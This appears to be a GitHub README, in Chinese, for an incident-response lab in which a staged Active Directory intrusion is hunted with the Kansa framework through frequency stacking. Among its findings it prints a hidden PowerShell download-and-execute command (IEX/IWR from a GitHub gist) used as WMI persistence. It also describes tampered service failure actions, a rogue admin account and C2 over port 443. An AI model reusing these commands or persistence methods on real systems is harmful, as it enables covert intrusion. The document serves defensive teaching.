Sksachin1914/Operation-Blind-Spot

GitHub: Sksachin1914/Operation-Blind-Spot

该项目展示了一个利用 Kansa IR 框架与频率堆叠分析,在 Active Directory 环境中精准检测多阶段隐蔽持久化机制的入侵调查实战案例。

Stars: 0 | Forks: 0

# Operation Blind Spot ### 使用 Kansa IR 框架与频率分析进行多阶段入侵检测 ## 前提 攻击者窃取了域凭据并在一台 Windows 工作站上建立了据点。随后是一场蓄谋已久的入侵:横向移动到第二台机器,部署了隐蔽性逐层递增的四层持久化机制,创建了 rogue admin 后门,并设置了用于潜在数据泄露的 staging 共享。 这一切都没有触发任何警报。 本次调查展示了 **Kansa** —— 一个基于 PowerShell remoting 的 IR 框架 —— 如何在整个环境中收集取证痕迹,以及如何通过**最低出现频率堆叠分析**,在 200 多个服务、150 多个计划任务和数千个运行进程的嘈杂背景中,精准锁定每一个植入物。 ## 环境 | 角色 | 主机名 | IP | |---|---|---| | 域控 | DC01 | 192.168.7.132 | | 主要受害者 | PC01 (WS01) | 192.168.7.138 | | 横向移动目标 | PC02 (WS02) | 192.168.8.100 | | 攻击者 | Kali Linux | 192.168.7.250 | **域:** MYDFIR.local **收集工具:** [Kansa](https://github.com/davehull/Kansa) (作者: Dave Hull) **分析工具:** Timeline Explorer **Payload 生成:** Metasploit / msfvenom **横向移动:** Impacket PsExec ## ATT&CK 覆盖范围 | 技术 | ID | 阶段 | |---|---|---| | 有效账户 | T1078 | 初始访问 | | PowerShell | T1059.001 | 执行 | | SMB / Windows 管理共享 | T1021.002 | 横向移动 | | Windows 远程管理 | T1021.006 | 横向移动 | | 注册表 Run 键 | T1547.001 | 持久化 | | 计划任务 | T1053.005 | 持久化 | | Windows 服务 (失败操作) | T1543.003 | 持久化 | | **WMI 事件订阅** | **T1546.003** | **持久化** | | 创建本地账户 | T1136.001 | 持久化 | | 账户发现 | T1087.001 | 发现 | | 网络连接发现 | T1049 | 发现 | | 进程发现 | T1057 | 发现 | | 入口工具传输 | T1105 | C2 | | 泄露至代码仓库 | T1567.001 | 数据泄露 (已暂存) | ## 攻击阶段 | 阶段 | 描述 | 生成的痕迹 | |---|---|---| | 1 | 通过 CrackMapExec 进行凭据重用 | 域登录事件 | | 2 | 在 PC01 上建立 Impacket PsExec 据点 | `C:\Windows\` 下的随机 8 字符 exe,随机 4 字符服务 | | 3 | 侦察: `whoami`, `net user`, `netstat` | 侦察二进制文件的 Prefetch 条目 | | 4 | 通过 IWR 下载 Meterpreter payload | DNS 缓存 (githubusercontent),C2 TCP 连接 | | 5 | 通过 PsExec 横向移动到 PC02 | SMB 会话痕迹,PC02 上的第二个随机 exe | | 6 | 持久化: 注册表 Run 键 (Base64 编码的 PowerShell) | ASEP autorun 条目,启动字符串 | | 7 | 持久化: 计划任务 `\HealthCheck` | 计划任务痕迹 | | 8 | 持久化: Spooler 服务失败操作被篡改 | ServiceFail 痕迹 — 二进制文件正常,恢复操作恶意 | | 9 | 持久化: WMI 事件订阅 | WMI Event Consumer 痕迹 — 无文件,重启后仍存活 | | 10 | 后门: 创建 `helpdesk` 本地管理员 | 本地管理员堆叠异常 | | 11 | 暂存: 在 `C:\Users\Public\Music\Staging` 创建恶意 SMB 共享 | SMB 共享痕迹 | ## 调查结果 ### 1 — DNS 缓存堆叠 **工具:** `Get-DNSCacheStack.ps1` **发现:** `gist.githubusercontent.com` 和 `raw.githubusercontent.com` 仅在 PC01 上被解析。环境中的其他机器均未查询过 GitHub 基础设施。CloudFront CDN 条目也仅出现在 PC01 上。 ![DNS 缓存堆叠](https://static.pigsec.cn/wp-content/uploads/repos/cas/18/1817b7264a9c95a788f8fcf422aebf0a0161d06b96f7770d0a2392b982c38be4.png) **重要性:** DNS 缓存是接触 C2 基础设施的最早指标。企业工作站上出现 GitHub Gist/Raw URL 极其可疑 —— 大多数员工在工作时间没有任何正当理由去解析原始内容分发端点。这也直接证实了随后发现的 service failure action 和 WMI consumer 持久化机制,因为它们都引用了这些相同的 GitHub URL。 ### 2 — 进程路径堆叠 **工具:** `Get-ProcessWMIPathStack.ps1` **过滤条件:** 路径包含 `C:\Windows\` 且不包含 `System32` **发现:** 多个随机的 8 字符可执行文件从 `C:\Windows\` 根目录执行 —— 在干净的环境中,该路径几乎不应该包含任何可执行文件。 ![进程路径堆叠](https://static.pigsec.cn/wp-content/uploads/repos/cas/c4/c4daad7a97ba1008194d926c563822aa7d9985d75ecd8d765aaa5a71a4eeb8d5.png) **重要性:** `C:\Windows\` (非 `System32`) 是一个不寻常的执行路径。Impacket PsExec 每次调用时都会在此处释放一个随机命名的二进制文件并将其注册为服务 —— 这种随机命名是蓄意企图逃避签名检测。多条记录反映了实验期间多次进行的横向移动尝试。VirusTotal 确认它们是 Remcom/Metasploit 变种。 ### 3 — 网络连接堆叠 **工具:** 自定义 Netstat 堆叠查询 **发现:** `svchost32.exe` 保持着两条到 `192.168.7.250:443` (攻击者的 Kali 机器) 的 ESTABLISHED TCP 连接。ct=1 — 环境中没有其他进程与该 IP 通信。 ![网络连接堆叠](https://static.pigsec.cn/wp-content/uploads/repos/cas/90/90b31fa1552eb555eea46d1187f58ecbb8bcace0b9b106453c576a1ad620e931.png) **重要性:** 443 端口是攻击者蓄意挑选的,目的是为了与 HTTPS 流量混为一谈。此处的进程到 IP 的相关性,直接将调查 2 中发现的可疑二进制文件与活跃的 C2 通信联系起来 —— 这就是将痕迹与基础设施关联起来的枢纽点。 ### 4 — SMB 会话堆叠 **工具:** `Get-LogparserStack.ps1` (通用) **发现:** `192.168.7.138` (PC01) 以 `MYDFIR\Administrator` 身份向 PC02 发起了一条入站 SMB 会话。 ![SMB 会话](https://static.pigsec.cn/wp-content/uploads/repos/cas/c7/c77debebce70a89a49e1887134d39c1680098e6ffaee9e75ca5ca4acc7c0274d.png) **重要性:** 这单独的一行精准描绘了横向移动路径 —— PC01 → PC02,域管理员账户,一次会话。结合调查 2 (PC02 上也存在一个随机命名的可执行文件) 进行交叉比对,这证实了攻击者利用窃取的域凭据通过 SMB/PsExec 进行了横向移动。 ### 5 — SMB 共享堆叠 **工具:** `Get-LogparserStack.ps1` (通用) **发现:** `C$`, `IPC$`, `ADMIN$` 存在于所有 3 台机器上 (CNT=3,符合预期)。指向 `C:\Users\Public\Music\Staging` 的 `Share$` 仅存在于 PC01 上 (CNT=1)。 ![SMB 共享堆叠](https://static.pigsec.cn/wp-content/uploads/repos/cas/4e/4e7030ecbd1d9efdad58f0e1f334fc5cc0a371769c962763ec77247ccb90b450.png) **重要性:** `C:\Users\Public\Music` 默认对所有用户可写 —— 写入其中不需要提升权限,这使其成为一个极具吸引力的 staging 位置。位于此路径的自定义 SMB 共享表明,攻击者意图促进跨机器文件访问或为数据泄露进行 staging。由于位于公共目录,这也使得在人工审查时更难被发现。 ### 6 — 本地管理员堆叠 **工具:** `Get-LocalAdminStack.ps1` **发现:** `Administrator` 和 `MYDFIR\Domain Admins` 出现在所有 3 台机器上 (ct=3,基线)。`helpdesk` 仅出现在 PC01 上 (ct=1)。 ![本地管理员堆叠](https://static.pigsec.cn/wp-content/uploads/repos/cas/6f/6f31d529502ff30202ef303a7a4c918591cdd4af62494a5b1bfae16c57999fdb.png) **重要性:** `helpdesk` 账户名是经过精心挑选的,听起来像是一个合法的 IT 支持账户 —— 这是一个教科书式的**模糊标识符**,旨在避免在人工审查时引起即时怀疑。堆叠分析方法让它无处遁形:任何偏离环境基线的项目都会浮出水面,无论它的名字听起来多么合法。 ### 7 — 计划任务堆叠 **工具:** 自定义 `Get-SchedTasksAllStack.ps1` **发现:** 由 `MYDFIR\PC01$` 创建的 `\HealthCheck` 任务,运行 `C:\Windows\svchost32.exe`。Quantity=1 — 没有其他机器存在此任务。 ![计划任务堆叠](https://static.pigsec.cn/wp-content/uploads/repos/cas/37/378b7e66a9d4a391c83fadd2b37333eae13e43f5b5646a48e884682159065c96.png) **重要性:** `HealthCheck` 是另一个模糊的名称 —— 听起来像是一个合法的系统维护任务。`Task To Run` 列让它暴露无遗:`C:\Windows\svchost32.exe` 正是调查 2 中识别出的 Meterpreter payload。这确保了后门能在系统启动时重新执行 payload 从而在重启后继续存活。 ### 8 — 服务失败操作堆叠 **工具:** `Get-SvcFailStack.ps1` **发现:** 整个环境中共有 192 个服务。其中 191 个未配置失败操作。`Spooler` —— 即 Print Spooler 服务 —— 仅在 PC01 上将其失败恢复操作设置为了恶意的 PowerShell IEX+IWR 下载触发器。 ![服务失败操作堆叠](https://static.pigsec.cn/wp-content/uploads/repos/cas/e0/e03327094099d62893190f3fb7adda18dc0d28d6224518e0747024a70233c601.png) **重要性:** 这是本场景中最复杂的持久化机制。Spooler 服务二进制文件完全干净 —— 路径正确 (`C:\Windows\System32\spoolsv.exe`),具有有效的 Microsoft 签名,哈希值匹配。针对服务的标准 IR 检查 (名称、路径、哈希) 显示一切正常。只有 `sc qfailure` 或 Kansa 的 `GetSvcFail` 模块能揭示被篡改的恢复操作。大多数分析师在标准排查期间从不查询失败操作。IEX+IWR 命令从 `gist.githubusercontent.com` 拉取数据 —— 这直接印证了调查 1 中的 DNS 缓存发现。 ### 9 — WMI Event Consumer 堆叠 **工具:** 带有 `-Divorce` 标志的 `Get-LogparserStack.ps1` **发现:** `SCM Event Log Consumer` 存在于所有机器上 (预期的基线)。`WMI Background SVC` 仅存在于 PC01 上,其 `CommandLineTemplate` 为一个 PowerShell 下载触发器。 ![WMI Event Consumer 堆叠](https://static.pigsec.cn/wp-content/uploads/repos/cas/2d/2dc7d7dd9b762aa22a8e2d47f68596d7b19bb4ab4985eaac898b5da7d70533f9.png) **重要性:** WMI 事件订阅是本次调查中最隐蔽的持久化机制。它们完全存在于 WMI 存储库中 —— 磁盘上没有二进制文件,没有注册表 Run 键,也没有计划任务条目。它们能在重启后默默存活。大多数扫描工具和标准 IR 预案从不检查 `root\subscription`。Windows 企业环境中的正常 WMI consumer 都是高度可预测的 —— 一旦出现非标准的 consumer,它在频率堆叠中将无处藏身。命令模板为:`powershell.exe -WindowStyle Hidden -NonInteractive -ep bypass -c "IEX(IWR 'https://gist.githubusercontent.com/AboShafra/...' -UseBasicParsing).Content"` — 与调查 1 和 8 中的 GitHub 基础设施相同。 ### 10 — Prefetch 列表堆叠 **工具:** 修改后的 `Get-PrefetchListingStack.ps1` (使用 `EXTRACTTOKEN` 去除哈希后缀) **发现:** `SVCHOST32.EXE`, `WHOAMI.EXE` 和 `NET.EXE` 的 CT=1 — 仅在一台机器上执行过。 ![Prefetch 列表堆叠](https://static.pigsec.cn/wp-content/uploads/repos/cas/42/42f99dad129a2f3304d398e8816a8f4046d019ac8bb83b8594154e5875897bb9.png) **重要性:** 在企业工作站上,`WHOAMI.EXE` 几乎是攻击者普遍的侦察指纹。普通员工不会从命令行运行 `whoami`。与之相伴的 `NET.EXE` 证实了进行了账户枚举 (`net user`, `net localgroup administrators`)。Prefetch 中的 `SVCHOST32.EXE` 证实了 确实执行过 —— 即使该二进制文件随后被删除,Prefetch 文件仍将作为执行证据保留最多 128 条记录。 ### 11 — Autorunsc 堆叠 (未签名条目) **工具:** 修改后的 `Get-ASEPImagePathLaunchStringUnsignedStack.ps1` **发现:** 所有 ct=1 的未签名 ASEP 条目都暴露了攻击痕迹:`svchost32.exe`,来自 `C:\Windows\` 的多个随机 PsExec 二进制文件,且全部没有有效的代码签名。 ![Autorunsc 堆叠](https://static.pigsec.cn/wp-content/uploads/repos/cas/30/309726b6be598785f142077fd30a02430ad028d093f80b2d70b08de6df00d37f.png) **重要性:** Autoruns 提供了最广泛的持久化排查 —— 在单次收集过程中涵盖注册表键、服务、计划任务、shell 扩展、浏览器辅助对象、WinLogon 条目等等。过滤出未签名条目会立即从视野中剔除合法的、具有 Microsoft 签名的软件,只留下攻击者的未签名植入物。这些多个随机命名的可执行文件是反复调用 Impacket PsExec 的有据可查的指纹 —— 每次运行都会生成一个新的、唯一命名的二进制文件,这是一种行为签名,通过堆叠分析能让其变得极其显而易见。 ## 关键要点 **关于堆叠分析:** 恶意痕迹在设计上本身就是罕见的。攻击者只将其部署在最少数量的系统上 —— 而不是整个环境。频率分析正是利用了这一点:统计每个主机上的每项痕迹,按升序排列,异常情况就会浮出水面,无论它们的名称听起来多么合法。 **关于持久化深度:** 四个重叠的持久化机制并非多此一举 —— 这是操作安全。每一层都使用不同的检测路径。如果分析师检查了服务却没有检查失败操作,或者检查了计划任务却没有检查 WMI 订阅,就会错过部分情况。全面的收集是实现全面检测的前提。 **关于服务失败操作:** 这是最有可能在标准 IR 排查中蒙混过关的技术。二进制路径正确。哈希有效。签名已验证。而被篡改的字段 —— 失败恢复操作 —— 并不包含在任何默认的痕迹收集模板中。Kansa 的 `GetSvcFail` 模块之所以存在,正是因为有人曾因为忽略了这一点而吃过亏。 **关于收集时机:** 在攻击执行和初次 Kansa 收集之间,`gist.githubusercontent.com` 的 DNS 缓存条目已经过期 —— 这导致需要进行第二次针对性的收集。易失性痕迹 (DNS 缓存、活动网络连接、SMB 会话) 必须优先并立即收集。易失性顺序不是一个理论概念;在本实验中,它耗费了整整一个调查类别的数据。 **关于工具与分析:** Kansa 在 3 台机器上收集了 11 个类别的痕迹,并将所有内容整理成了按主机、按模块划分的 CSV 文件。它并没有识别出任何一项发现。本次调查中的每一项发现都需要人类分析师去提问:“这里什么是罕见的,为什么?” 工具呈现数据。分析师赋予意义。 ## 工具与参考 | 工具 | 用途 | 链接 | |---|---|---| | Kansa | 基于 PowerShell 的 IR 收集框架 | [GitHub](https://github.com/davehull/Kansa) | | Timeline Explorer | CSV 分析与数据透视 | [EricZimmerman.github.io](https://ericzimmerman.github.io) | | LogParser 2.2 | 基于 SQL 的文本文件查询 | [Microsoft 下载](https://www.microsoft.com/en-us/download/details.aspx?id=24659) | | Metasploit Framework | Payload 生成与 C2 | [Rapid7](https://www.metasploit.com) | | Impacket | PsExec 横向移动模拟 | [GitHub](https://github.com/fortra/impacket) | | MITRE ATT&CK | 技术映射 | [attack.mitre.org](https://attack.mitre.org) | ## 作者 **AboShafra** 网络安全专业学生 — 萨那大学排名第一 技术维护与配置工程师,SawtAlhayat Hearing Center 正在准备 BTL1 认证 [LinkedIn](www.linkedin.com/in/ibrahim-abdulsalam-alshami) | [GitHub](https://github.com/AboShafra) *本实验在隔离的虚拟环境中进行。记录的所有技术均出于防御和教育目的。*
标签:Active Directory, AI合规, AMSI绕过, IPv6, Kansa, Mr. Robot, OpenCanary, Plaso, PowerShell, Terraform 安全, 威胁检测, 库, 应急响应, 数字取证, 网络安全, 自动化脚本, 隐私保护